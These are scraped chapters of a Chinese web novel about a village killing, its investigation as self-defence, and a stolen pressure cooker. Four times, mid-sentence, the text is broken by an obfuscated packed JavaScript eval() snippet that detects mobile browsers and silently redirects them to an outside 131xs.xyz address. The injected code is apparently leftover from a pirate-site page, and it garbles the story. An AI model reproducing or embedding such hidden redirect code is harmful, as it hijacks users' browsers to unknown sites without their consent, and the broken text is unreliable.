她说着说着,又忍不住哭了起来:“强娃子这才刚刚开始,不知道是谁这么狠心啊!警察大人,你一定要为我们做主啊!” 云松安抚道:“我们一定会查出真相。” 真相的突破口在长桂家。 今天侦查人员上来,云松就让佟锦和唐朝去守着这两个人,云松还记得大雁的奶奶提到过的农药。 佟锦和唐朝也不审问,两个人就板着脸,坐在长桂家。 对面的两口子心里就已经慌了,她们很想让这两位警察大人赶紧开口说说话。 直到,两口子相对熟悉一些的云松来了。 两口子赶紧过来:“警察大人……” 继而想起云松说过的,立马改口:“警察同志,这是……” 云松道:“胡长桂,古友朋,关于孙强被杀一案,有事想问问你们。” 两个人对视了一眼,咽了咽口水,说道:“是我们两口子杀的。” 旁边的唐朝和佟锦,两个人都有些惊讶,这么利索吗? 这两个人今天上午才赶过来,因为尸体在乡村里发现,这种地方,没有监控,本来以为又是一场苦战。 结果…… 云松并没有意外,她只是问道:“你们为什么杀他?” “那天下午,他趁着没有人,来我们家里偷东西,被我们发现了。” 云松起身,道:“你们当时在哪个位置?” 两口子都不说话了。 “你们是用什么杀死孙强?” 两口子指了指火坑方向,那里有一个磨刀石。 村子离镇上比较远,刀具这些都是自己搬了一块磨刀石回来磨。 “你们的意思是,孙强当时进来,看到你们在家,当着你们的面偷东西?然后你们用磨刀石杀了他?” 长桂嘴巴动了两下,最后什么都不说了。 云松叹了一口气,说道:“你们要把事情原原本本地说出来才行。” 两个人继续不说话。 云松道:“孙强的手指里有皮肤碎屑,你们有受伤吗?” 长桂小心翼翼地伸出左手,准备在右手手腕上抓一把。 云松:“现在受伤不算。” —————————— 脖子上的伤好一些了,春凤摸了摸后脖子,原本流血的地方都已经结痂了,反而是淤青的地方还没有褪去黑血。 最开始的时候,流血的地方有点吓人,但那个时候脖子只是有些红,等她走到镇上,脖子处开始有点黑,睡了一觉,第二天早上起来,流血的地方没事了,可脖子原本红的地方已经变成了黑色的一圈。 于是,这一周,她都没有出门,她男人问了她怎么回事,她只是说回老家的路上遇到了一个疯子。 她男人一个劲地庆幸:“还好你没事,人没事就好,这几天都先养着。” 当然,她男人没问对方有没有事。 她这两天总是心绪不定,尤其是听男人说警察去她老家的村子了,听说是出了命案。 “春凤老师——春凤老师——”一个声音把她从自己的思绪中叫了出来。 窗户那里突然就贴了一个小脑袋。 春凤和自己男人住的是学校分配的教师宿舍,一楼,不大,窗户被她从里面贴了一层薄薄的纸,外面看不到里面,但是光又可以照进来。 春凤男人是小学二年级的语文老师还是班主任,大家都叫他高老师,平常管八十多个皮猴子,春凤则是在学校里帮孩子们蒸饭。 同林镇有不少村校,但大多数村子里的家长还是更倾向于把孩子送到中心小学来,这些孩子通常要走一两个小时的山路下来,中午自然就没有办法回去吃饭,家长们会买一个铁盒子把米饭和土豆放在里面,孩子们早上到了学校以后,第一件事情就是去水龙头那里往铁饭盒里装水,然后把饭盒放在对应班级的铁笼子里。 春凤每天的工作就是和学校另一个老师的母亲一起干活,早上把这些铁笼子搬到蒸汽房,再生火煮饭,中午把这些热气腾腾的铁笼子搬出来。 春凤刚开始的时候,一笼子一笼子地搬,被同事嫌弃动作慢,她也是好强的性格,后面就干脆两笼子叠在一起端。 孩子们的饭没有菜,要么就是直接吃米饭,条件稍微好一点,就去学校小卖部买几张豆皮拌着饭吃。 春凤看着这些拌着辣皮吃饭的孩子们,心里头便有了一个想法,她买了两个大铁桶,中午开始卖汤。 两个铁桶汤都很重,最开始她还需要慢慢从教师宿舍挪出来,慢慢地,两只手提一桶。 一毛钱一勺子汤,里面还有一些干货,或者是鸡蛋,或者是洋芋丝丝,或者是海带。 一推出,立马就受到了孩子们的欢迎,每天两大桶汤都能卖干净。 她的同事,也就是三年级数学老师肖老师的妈妈——张妈,见她卖汤挣钱,便和她一样,也开始卖汤。 但做汤这个事情,也不是有手就行,孩子们总是在春凤这边来排队买汤,等到春凤这边卖光了,才不情不愿地去买张妈的汤。 春凤每次见了,也想不通汤怎么会难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753740|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝,她便偷偷去看张妈的汤,那天是西红柿鸡蛋汤,那西红柿应该没炒过,煮出来依旧是一股西红柿的生味。 这一周,春凤身体不舒服,一直没怎么出门,自然也就没有卖汤,孩子们在窗户那里就叫她—— “春凤老师,春凤老师,你身体好一点没有啊?” “春凤老师,你什么时候出来卖汤啊?” “张妈卖的汤不好喝。”有个孩子小声说道。 春凤躲在屋子里,并不敢出去,等到孩子们走了以后,她去窗边,看到的便是孩子们勉勉强强地去买张妈的汤。 可以看得出来,张妈是真的不会做汤。 唉。 她摸了摸肚子,眼泪又开始掉了。 她肚子里的孩子四个月了,上一次回去,除了去背点菜回来,也是去跟娘家人说这个好消息。 却不想——唉—— 春凤摸了摸肚子,她肚子里的孩子真可怜啊。 从小就没了妈,肯定还要被其他人说妈妈是杀人犯,爸爸虽然是老师,能住在学校里,可爸爸没有时间做饭啊,肯定只能蒸饭吃,而学校只有一个煮汤难喝的张妈…… 她越想越觉得难受,不行,不行,她要为自己的孩子做点什么。 于是,她推门,走了出去。 学校操场上也已经没什么人了,孩子们都回教室吃饭去了。 张妈还有一桶汤没有卖完,她看到春凤过来了。 两个人平时不太对付,张大妈见她来,以为对方是来看自己笑话,正要赏她两句,嘴巴正要开口,眼睛先一步看到了这个年轻媳妇儿脖子上还没有消下去的淤青。 张妈一下子就哑火了。 春凤走了过来,她嗓子依旧有些沙哑,说道:“张妈,我后面可能都不会卖汤了。” “西红柿鸡蛋汤,西红柿要先炒成茸茸,再倒水煮,鸡蛋不要炒,水开后直接把鸡蛋倒进去。” “洋芋丝丝汤,要用腊猪油先把洋芋丝丝炒熟,再倒开水煮,娃儿们每天要走山路,流汗流得多,又是拌饭吃,所以盐稍微多放一点吃起来才有味道……” 张妈一句都没有记住,因为此时此刻,她眼里心里头想着这个年轻媳妇儿脖子上的痕迹。 这是怎么回事?看着可真吓人。 “你这是要……” “我要回老家,去找我爸妈,一会儿高老师下课了,可能会来找我,他要是问你,你就说我去厂里找我哥哥嫂嫂了。” 张妈一听,立马说道:“大妹子,你放心,我绝对帮你瞒住。” 张妈虽说平时和春凤关系不太好,可这种时候,她正义感一下子就上来了! 于是,春凤便自己朝着老家的方向走去。 她也不知道自己该怎么办,上一次她不知道该怎么办的时候,她妈跟她说:“你不要管这件事了。把这件事忘了。” 实际上,回来以后,春凤就一直在想这件事。 现在,她还是决定自己去管一管。 春凤上来时,村子里无比热闹,所有人都围在晒谷坝。 她并没有去看热闹,她回到了自己家,门口有两个警察。 她悲壮地摸了一把眼泪,然后一步一步地走到两个警察面前:“我来自首,是我不小心杀了孙二。” 站在她对面是佟锦和唐朝。 佟锦:“……” 唐朝:“……” 28.谁偷了我的高压锅(八) 第二十八章 对于杀孙二这件事。 长桂两口子从头到尾也就三句话,其他的都说不出来。 春凤略强一点,但不多。 她走了一路上来,脸通红,头发贴在额头上,很是狼狈。 “我也不知道为什么,他就开始发疯了。”她真的不知道到底怎么回事。 稀里糊涂,她就杀了一个人,成为了杀人犯。 “我那几天不舒服,去药铺看了,大夫说我怀上了,我心里头高兴,那天正好我男人课少,能帮我去蒸饭卖汤,我就想着回来跟我妈说这个好消息。” 此时此刻,春凤对着警察,说起来,依旧不知道这一切到底是怎么发生的。 “回我们家要路过孙家,我走过去的时候,孙二喊了我一声,我心里头有些奇怪,因为我以前和他也没说过话。” 春凤二十二岁,孙二三十三岁,两个人不同龄,关系就是同一个村子。 她对于孙二印象并不好,但对方叫她,毕竟一个村子的人,而且她哥和她都在镇上生活,家里就只有爸妈,于是应了一声。 好在,对方只是叫了她一声,也没多说什么。 反而是孙二的妈从里面出来,笑道:“春凤又回娘家啊?” “要不要进来坐坐?你爸妈好像都不在家,应该是去山里了。” 不知道为什么,对方特别热情,脸上堆着笑。 “你现在回家,进不了家门,不如在婶娘家坐坐。”村子里,是个长辈要么喊婶娘,要么就是姨娘,实际上并没有血缘关系。 春凤便说道:“我有钥匙,能进家门。” 孙母道:“那一个人在家也没意思,你先在婶娘家坐一会儿,婶娘给你煮个红糖鸡蛋,打个点心。” 这么好?还红糖鸡蛋! 春凤心里头觉得有点奇怪,她们家跟孙家的关系并不好,主要是以前分田的时候,孙家看中了梨儿田,这个田位置特别好,田坡上还有一棵大梨树。 结果分田的时候抽签,春凤抽中了。 这田分给了她们家,在春凤名下,孙家一直都有意见。 后面,她嫁人了,孙家就一直在要求梨儿田重新分配。 同林镇的田地一共就这么多,分完了以后,再有孩子出生,就得等前面的田地所有人退田。 孙家的大儿子成亲有孩子了,但他的孩子现在都没有田,还在排队等,一般是有人死了或者女儿出嫁户口移出去了,名下的田才能退出来,后面排队的人就能接到田。 春凤的男人是城镇户口,没有田地,虽说是小学老师,看上去不会饿着人,可长桂这个庄稼人觉得,小学老师这个饭碗说到底是女婿的,不是自己女儿的。 于是,长桂就做了一个决定,春凤成亲后不要把户口挪出来,她的户口依旧在自己家,这田当然就不能退出来。 孙家当时还和她们闹了一场,最后还是村长出面,说了孙家,说是规定上就是这样,户口没有移出去,就是村子里的人。 孙家背后里说村长是因为自己也有女儿,也想要这样做。反正村子里因为这件事闹了两三次。 有了这件事,孙家所有人,春凤都觉得是敌人,是来抢自己的梨儿田! 现在对方无事献殷勤,春凤担心她们是不是又想要逼她把田让出来。 这种事情,孙家之前就做过,那个时候,婶娘就是趁着她妈不在家,来找她,要她把田让出来。 “田是国家发下来给人种的,你都不在村子里了,也没有种田,田怎么能给你?” 她嘴巴笨,说不过人家。 还好她妈回来了。 “这话就招笑了,怎么,这个田挪到你大孙子的人头上,是你大孙子去犁田吗?是你大孙子去插秧吗?我女儿至少还要回来帮忙插秧收谷子。要照你这样说,你二儿子平时也不在家,也从来没有种过田地。他头上的那个田和地也应该退出来!”村子里可不止一两个人去城里打工了,他们头上的田就退出来了吗?没有啊,还是家里人种着,怎么到她女儿这里就不行了? 婶娘说不过,这才走。 事后,她妈就千叮万嘱,不管谁来说,这田可不能让出来。 “本来这个田就是养你的,一年到头,有这个田,你也不用买多少米。” “你在镇上,没有田,万一有点什么事情,还不得饿死啊,有田才有一口饭吃。” 此时此刻,春凤见势不对,赶紧说道:“我妈她们在山里,正好我回去煮饭,她们回来就能吃饭。” 她说着赶紧走,身后飘来的是婶娘的话:“还是春凤孝顺啊。” 莫名其妙又夸她?真吓人? 真的盯上了她的田!很有可能连她簸箕湾那块只能收点撇撇包谷的地也看上了。 孙家人啊!真过分! 她回到了家里,越想越觉得对方看上了她的梨儿田。 今年她的梨儿田,争气的梨儿田,收了整整600多斤谷子,交了公粮,也还能剩四百多斤。 这谁能不想要! 她拿了铁罐子出来,准备煮饭,等家长回来,得告状。 背篓里是一块新鲜猪肉。正好给爸妈打牙祭。 她看着这块略肥的三线肉,心里头也是美滋滋的,她现在手里头也有一些钱了,可以让爸妈吃点好的。 这块肉就做红烧肉。 “春凤……” 门外突然有人叫她,春凤听出来是孙二。 “有事等我妈回来再说。”春凤立马说道。 “我有事要跟你说一下。”春凤就看到对方走了进来,手里头拿了好几张……红票子? 钱?拿钱做什么?难道是想要拿钱让她把田让出来? “我做不了主,有事你跟我妈说。”虽说她肚子里已经有个宝宝了,可她觉得吧,这种事情她还是让她妈来。 “你不能什么都让你妈做决定。”孙二说道:“这是我在香金镇挖煤挣的钱,不是偷的。” 春凤:“你跟我说这个做什么?” “我想说我能养活你。我知道,之前我妈来跟你说的时候,你其实是想要同意,只是你妈不肯。” 春凤说道:“我也不肯!” 那是她的宝贝梨儿田。 春凤注意到对方好像遭受了巨大的打击,嘴里一个劲地说道:“你……怎么这样!你以前明明肯!你现在变了,你知道这个钱我挣的有多辛苦吗?” 春凤觉得莫名其妙,立马说道:“我不肯啊。我又不是傻子,这么好条件的田怎么可能给你们。” 孙二听了这话,只是直勾勾地看着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769902|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春凤心里头莫名有些害怕。 好在,下一秒,对方转身就走了。 春凤松了一口气。 这些事情,春凤跟警察都是实话实说:“孙二来我家里,想用钱来换田,我不肯,他就往外走了,我本来以为没事了。” 孙二走了以后,春凤就开始洗辣椒。 她洗着洗着,面前出现了一个黑影,她抬起头,孙二伸手就掐住了她的脖子。 “你骗我!你骗我!你知道我为了你有多辛苦吗?” “去死吧!去死吧!” 春凤只觉得整个人喘不上气来,她的手到处摸,很快就摸到了旁边的磨刀石! 春凤拿出了自己全部的力气,狠狠地砸了过去。 下一秒,鲜血喷了出来,孙二的手也松了,整个人倒在旁边。 春凤吓到了:“你没事吧?天啊!怎么会这么多血!” 春凤没读过多少书,对法律更是一无所知,她只知道自己杀人了。 “你别死啊!你别死啊!” 她试图堵住血洞,可完全没有用。 春凤才反应过来,她现在力气比以前大太多了。 完了完了,人死了。她要说对方想杀她……其他人会信吗? 春凤说到这里,她也哭了。 人如果没有死,她占理,可是人一死,她就不占理了。同林镇信死者为大,春凤在这里长大,多多少少也有这样的倾向。 本来村子里就有一些人对于她们家这种女儿出嫁了不把户口移出来的事情有意见,怕后面其他人也这样学。 现在出了这种事情,她们家就更加不占理了。她肯定死定了。 云松听到这里,大概明白了怎么回事,但她还是需要再问一句。 “孙强的伤口里为什么会有特别多的蜘蛛?”云松当警察前是医学生,她清楚原因,但检察院和法院的人未必清楚,所以,她需要对方说出来,成为口供的一部分。 “他一直在流血,蜘蛛窝可以止血,我就在家里到处找蜘蛛窝,我们家现在已经一只蜘蛛都没有了……”春凤说道。 春凤这边已经把自己知道的事情全部交代清楚了。 三个人准备去看看其他侦查人员收集到的证人证言。 路上,佟锦忍不住开口了:“她应该算正当防卫吧?孙二都要杀她了,而且尸体上没有其他伤口,只有一道伤,还有那么多蜘蛛窝,说明春凤也不是要杀他。”佟锦说道。 “这个得看法院,之前有个这种案子,判下来是正当防卫。”唐朝叹了一口气:“现在的问题是程序比较复杂,同林镇没有看守所,得去城里。” 同林镇去香金镇的路全都是土路,而且山路18转,她们身体素质好的人坐那个车都要吐半天,一个孕妇过去…… “她是孕妇,应该可以取保候审。”佟锦说道。 “保释金至少得4000块钱。”唐朝说道。 “监视居住?这个不用交保证金。”佟锦说道。 “估计很难通过,离这里最近的派出所在香金镇派出所,中间还隔了一个百合镇,监视居住要求地方要有派出所接手才行,香金镇离这里太远了。”唐朝叹了一口气。 这真的是一件很不舒服的事情,同林镇的穷,导致这里的人不能和城里人享受同等权益。 29.谁偷了我的高压锅(九) 第二十九章 云松一行人只能做初步认定正当防卫,案件接下来移交给检察院,检察院有可能直接认定正当防卫不予起诉,也有可能会起诉,最后进入法院阶段。 但这些都是一个方面,云松担心的是另外的事情。 孙家失去了儿子,她们不会在意到底是不是孙二想要杀春凤,她们不会轻易罢休。 孙家要一个交代,他们想要的交代自然不是正当防卫,春凤一家没事这种结果。 孙母今天一天一直守在外面,好几轮侦查人员劝她,她都不愿意离开。 云松还是决定在和她谈谈。 孙母见到云松,第一句话就是:“我已经知道了,是长桂他们干的!我听到长桂承认了!警察同志,你们会把她们抓回去枪毙吧!” 她心里的恨,需要一个结果来发泄。 云松耐心地把事情的经过告诉了她。 “是他想要杀春凤,春凤如果不反抗肯定就死了,春凤只是砸了他一下,并没有想要杀他。”佟锦在旁边也补充了一句。 这个话完全不可能安抚人。 孙母一听,心里急了,道:“不可能的,警察大人,我儿子有小偷小摸的毛病,这个我承认,可是他绝对不敢杀人,我是他妈,我了解他,他绝对不会杀人!肯定是春凤胡说八道。” “现有的证据便是如此。” “肯定是春凤胡说八道,警察大人,你不知道,我儿子非常喜欢春凤,他怎么可能想杀春凤?” “不对吧,春凤说她们并没有说过话。”唐朝还记得春凤的话,春凤自己都不能理解为什么孙二就发疯。 “是没有说过多少话,”孙母迫不及待地说着,她一方面要证明孙二喜欢春凤,另一方面还是想要证明自己二儿子变好了,“可是他为了春凤都改了自己偷东西的毛病,还去香金镇打工了,他真的变了。” 云松听着这话,心里隐隐有种感觉,原本总觉得缺了点什么,现在终于对上了。 “所以他才要给春凤五百块钱,那五百块钱不是买田?”之前春凤说这件事的时候,一直在说她不懂孙二为什么突然就发疯了。 原本云松也觉得不对劲,只是五百块钱换田地,被拒绝了,对于孙强这样的人来说不应该到杀人的程度。 如果是这样,事情的核心就不再是买卖田地了,在孙强眼里,春凤拒绝的是他本人,而且是拿着五百块钱依旧被拒绝,五百钱肯定没有问题,于是,有问题的就是他本人。 如此一来,他的发疯便合逻辑了。 “买什么田啊,春凤胡说八道,那个钱是我儿子辛苦挣来给她的,他这样怎么可能想杀春凤!” 云松看着她,问道:“他这样的行为过去没有发生过吗?一旦有不顺心的事情,突然出现暴怒的情绪。” “没有!绝对没有!警察大人,我发誓,他只是有点小偷小摸!” 云松感到了一阵无奈,她也不算了解孙强,可她了解事情的发展规律,一个人的行为肯定不会是突然失常,这里面肯定有过程。 问题这件事说不通。 如此一来,长桂两口子和春凤该怎么办? 长桂也在想,她们要怎么办。 廖山春很快就来了长桂家,她来叫两个人去自己家。 “来家里坐坐,我还有点事情跟你们说。” 两口子还是去了。 “正好家里还有鸡蛋还有红糖我给你们煮红糖鸡蛋。”廖山春已经知道这两口子没有杀过人,她自然就不害怕了。 春凤上来自首的时候,廖山春也在,所以她自然也听到了那句话。 她心里头也就理解了这两口子。 虽说在晚上把尸体拖出去埋了,这很吓人。 可是这件事情细想一下,也是没有办法的事情。 一方面,不可能在大白天拖尸体,那多吓人,所以只能是晚上,这不能怪这两口子。 另一方面尸体不拖也不行啊,在家里都臭了,还是要把人入土为安。 总的来说,廖山春对于长桂两口子很是理解,她甚至觉得自己也会这样做。 “你们别担心,我刚听那两个警察说,可能不会关起来,说是孙二要杀春凤妹子,春凤妹子也是没办法的事情。” 这认真想想,她不砸死孙二,孙二就要杀她,那她肯定也只能选择砸死孙二了。 廖山春想宽慰两口子,她说的也都是心里话。 “唉,这事放谁身上,也都是没办法的事情。” 廖山春之前把所有的恶意猜测都放在了长桂两口子身上,现在事情真相出来了,她心里莫名的感到了愧疚。 尤其是回忆起那天晚上,长桂两口子出去埋个尸体回来还要帮她挖黄鳝,还要嘱咐她晚上不要出门,怕遇到危险。多好的人啊! 她以前不懂婆婆总是说长桂家都是好人,现在可算是懂了。 现在回忆起来那个时候说的危险,应该就是遇到孙二这种人。于是所有的恶意猜测就换一个人继续用。 “现在他想要杀春凤,那下一次说不定就想杀另一个人了,这样想来,春凤还算是做了一件好事。” 长桂不好回答。 廖山春继续说道:“说真的,你们俩不用为她们家难受,我老家村子也有这种人,那两兄弟也是从小就偷鸡摸狗,后来两兄弟去香金镇偷电线,被电线电死了。” “孙二这个毛病,这一次不死,过不了多久,肯定也要死。” “你这话别让人听到了,她们家现在正难受。”长桂嘱咐道,她此时心情十分复杂。 关于谁死亡这件事,她没和人说,那天,她和她男人从山里回来,屋檐下是女儿的背篓,她们就知道女儿回来了。 两口子一共就两个孩子,平常都不在老家,每次回来,她们都高兴得不得了。 那天,她和往常一样开门进去,结果就看一大摊血。 长桂两眼一黑,双腿一软,春凤啊! 春凤从旁边出来了,满手都是血。 “哪儿……哪儿出血了?”怎么流了这么多血,天啊! 春凤没有指自己身上哪儿出血了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773190|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是指向了里面房间。 两口子过去一看,出血口在孙二头上。 那一刻,长桂心里其实是松了一口气,她不能对人说这种事情,可她心里便是松了一口气。 那一刻开始,她就已经在想要怎么办了。 长桂没什么文化,同林镇这么多年的宣传一直偏向杀人偿命。 而别人要杀自己,自己却不小心就把对方给杀了这种情况,在同林镇属于空白。 长桂想的便是她们给孙家偿命。 现在,这条路走不了了,她本来担心女儿要被抓到城里枪毙,现在听廖山春说,可能不会关起来。 毕竟是孙二要杀她女儿,她女儿如果不反抗就死了。她心里头对城里有了好印象。 她这些日子,心里一直都藏着无法发泄的委屈,明明是孙二的错,怎么到头来受苦的是她们一家人。 现在听说城里这种事情可能不用吃枪子,不用吃牢饭,她心里自然对城里有了好印象。 可村子里不一样。 孙家失去了儿子,她们不可能甘心。 她们家,她儿子一家,她女儿一家,孙家不可能放过她们。 长桂没有吃下红糖鸡蛋,她很快就从廖山春家里出来了。 她想去找孙家理论理论。 可真的到了孙家,看到孙二的母亲哭肿了的眼睛,长桂又觉得算了。 反正活下来的是她的女儿,这就够了。 可她心里也清楚,在村子里的人眼里,她女儿肯定已经是杀人犯了。 就算她们说是孙二先动手,其他人也会说,那也不能把人杀了…… 长桂看着自己的田,田里是割完了稻谷后留下的稻草堆,她们家的地里还种着土豆。 过去这一切都能让她很安心,而现在,她感到了一种不舒服感。 这里也许不适合她女儿住,也不适合她们住了。 原本她想去找孙家理论理论,可现在她也不想去了,说不通。 云松还在想长桂家要怎么办,长桂自己就过来了。 “我们能和你一起去镇上吗?” 一个种了一辈子的庄稼的人,一个觉得自己的田是自己的命的人,她做了一个决定。 她把自己的腿从养着她的田里拔了出来,既然这里不适合她们了,那她们找个适合的地方,人总得活下去,得好好活下去。 她不住在这个村子了。 “我想了一下,这件事已经发生了,不管怎么说孙家都没了个儿子,我一直说是孙二的错也没用,她们过不去这件事了,我们每天在这里,到时候两家都不舒服,我想先去镇上,看看能不能找个活干,等有了经验,再想办法去城里。春凤出了这件事,也不能一辈子在镇上了……” 她说这些的时候,心里依旧很不安,眼睛看着眼前的警察,判断自己这个决定能不能行。 “行,你们先去镇上。”云松说道。 云松看着眼前的妇女,这个总是沉默的女人,云松突然意识到,她在担心的时候,她们也在努力找寻生路。 30.谁偷了我的高压锅(十) 第三十章 去镇上,也并不是一件容易的事情,脱离土地,没地方住,没有吃饭的工作,这些都是难事。 云松在长桂说出自己的决定时,她一方面觉得这个事可行,另一方面,大脑里面已经开始想住在哪儿,到时候得找个工作养活自己。 云松出生在城市,长在城市,中间有一段村里生活经历,对村子研究得比较透彻,但介于城市和农村之间的小镇生活,对她来说就是完全空白。 好在,她面前的长桂是个自己有想法的人,她自己说道:“我想先找个人家借住一段时间,就是不知道镇上能不能找到这样的人家。” 这其实就是委婉地在向云松求助,云松秒懂,道:“我在镇上认识好几户人家,到时候看看能不能帮上忙。” 云松脑海里首先划过的人就是和她们金钱交易最多的张老太太,以及,张老太太的邻居廖家。 先问问这两家,如果不行再找其他人问问。 只是,还得想工作,原本两口子靠种地养活自己,后面怎么办? 同林镇镇上一共就三个厂,砖厂,纺织厂,鞋厂,而同林镇这个地方户籍人口是一万五千人,这三个厂需要的工人加起来也只有两百多人,于是镇上的年轻人找工作都很难,很多年轻人都要背井离乡去广东打工,更别说长桂两口子不年轻了。 长桂也想过这个问题,但穷人的人生就是这样,只能走一步看一步。 长桂决定了要走,她便找了村支书,交代了自己家的情况。 “那你们的田地……而且你们现在地里面还种着庄稼。”村支书也叹了一口气。 “你们重新分了吧。”她说这个话的时候,心里像是在滴血。 同林镇的人很多老家都不在这里,长桂这样的人,便是小时候就跟着父母逃难过来的,那个时候,她的血液里流淌着的便是对脚下有一块地的执着。 后来她们家分了田地,长桂和自己男人每天挥着锄头,守着地里包谷苗,守着田里的秧子,于是,她们有饭吃,有觉睡,还养大了两个孩子。 现在,这一切都不能要了。她心里头也开始怀疑自己,担心会不会做错了选择,万一去镇上了,找不到地方住,又找不到活路,到时候两口子是不是要当叫花子? 可话已经说出来了,长桂还是没有收回来,她对未来一无所知,但拼命推着自己往前走。 春凤的男人很快也回来了,长桂的大儿子带着老婆也回来了。 一行人开始打包家里的所有东西。 另一边,云松回镇上,侦查人员们需要回城里把案子移送检察院,云松三个人留下来,继续处理后续,而且如果检察院退回补充侦查,她们还在这里,事情也比较方便。 云松送走了侦查人员,便去了张老太太家,家里有个赌博儿子的张老太太。 “警察同志,你们可算是来了!”老太太看到云松三个人,高兴地起身,小跑过来。 她昨天就知道警察同志回同林镇了,好几次去学校那边蹲着,想看看有没有什么活给她。 老人家找钱太难了,虽说她手里头有了五百块钱,可钱啊,没有就算了,现在有了,看着这个红咚咚的500块,不仅舍不得用,还希望能有更多。 云松便说了长桂家的情况。 张老太越听越皱眉,道:“这家人欺人太甚!” 云松道:“长桂家不想再起冲突,便想从村子里搬到镇上来……” 云松话还没有说完,老人家就懂了:“她们找到地方住了吗?” 她看了看自己家,虽说穷了点,破了点,可这到底是有个地方住,所以老人家说道:“要不然让她们来我家住。” “她们东西很多。”毕竟刚收了谷子和玉米,还有一大排腌菜缸子。 老太太说道:“这没事,我想想办法。” “那租房钱,你觉得多少比较合适?” 老太太愣了一下,她年纪比较大,她这一代的人,经历更多的事情还是相互帮衬着,从来没有过接待亲戚朋友还要给房租钱。 “这个给钱做什么?只是住一段时间,我又没有损失。” 长桂知道以后,对镇上的印象就更好,但她心里头不准备给钱了,而是准备给粮食。 人家说不要钱,是人家的心意,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781993|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要给钱反倒是不好,镇上很多人都没有田,平时吃饭需要买米,她家里新收的谷子可以多送一些。送米也是心意。 既然定了住的地方,自然就要开始搬了。 首先就是谷子,然后是包谷子,最后才是被子衣服,锅碗瓢盆,腌咸菜的坛子没带走,长桂只把咸菜拿了一些出来,其他的送给了村子里的人。 最麻烦的是长桂家养了两头猪,现在已经是十月份了,再过两个月就要杀过年猪了,所以两头猪都很肥了。 现在也只能便宜卖了。 就这样,长桂一家,从村子里挪到了镇上。 云松心里头依旧焦虑担心长桂两口子,毕竟还得找到一个能糊口的活路才行。 只过了两天,长桂两口子就自己找到了。 她和她家男人花钱不知道在哪儿买了一个旧的爆米花机。 一个小小的铁罐子,她家里好几袋子的玉米粒,能做爆米花,她决定先干这个。 云松过来的时候,长桂正往里面装玉米粒,她男人正在生火,周围围了一大圈孩子大人。 很快,砰的一声,罐子被打开,玉米炸开成了爆米花。 孩子们立马围了上去。 “一毛钱两铲子!大家自己拿一下袋子。”于是,孩子们一人拿了一大包,有的孩子自己没有袋子,于是把捏住了衣服的下摆两个角,就用衣服去接,长桂便给了满满一大兜爆米花。 那孩子两只手都要抓着衣服,所以没办法吃,便跑了起来,想要快点回家,小孩一跑,整条街都是爆米花的香味。 云松看着这一切,心里头松了一口气。 她站在同林镇的街道上,看着重新焕发了生机的两口子,她想起了最开始见到两个人的时候,她们的状态。 而她其实也没做多余的事情,只是做了一个警察应该做的事情。 云松想,这里的人也许很需要一个警察。哪怕这个警察能力也有限。可只要存在,做了一个警察该做的事情就行,这里的人,她们只要一个机会,自己就能够找到活路。 云松便做了一个决定。 她要申请派驻在同林镇。 31.谁偷了我的高压锅(完) 第三十一章 廖山春用高压锅炖了猪脚,这是之前答应女儿的,高压锅滋滋滋地响着,整个屋子里全都是腊猪脚的香气。 是的,她的高压锅在两天前就回来了。 是云松警察同志拿回来的,说是高压锅原本被孙家大孙子拿走了。 “居然是他们家!真是上梁不正下梁歪!”廖山春义正词严地骂道。 “孙家大儿子愿意赔偿你二十块钱,给你赔礼道歉,希望你不要把这件事说出去。” 云松当时发现了高压锅,没有跟孙母交涉这个事情,主要是考虑到孙母的情况,她抽空找了孙家大儿子,说了情况。 云松心里还担心过对方不会把这件事当一回事,却不曾想,这个中年男人立马问道:“是廖家的?廖山春的那个高压锅?你确定吗?” “你大儿子偷偷拿了回来,你母亲把高压锅收了起来。” 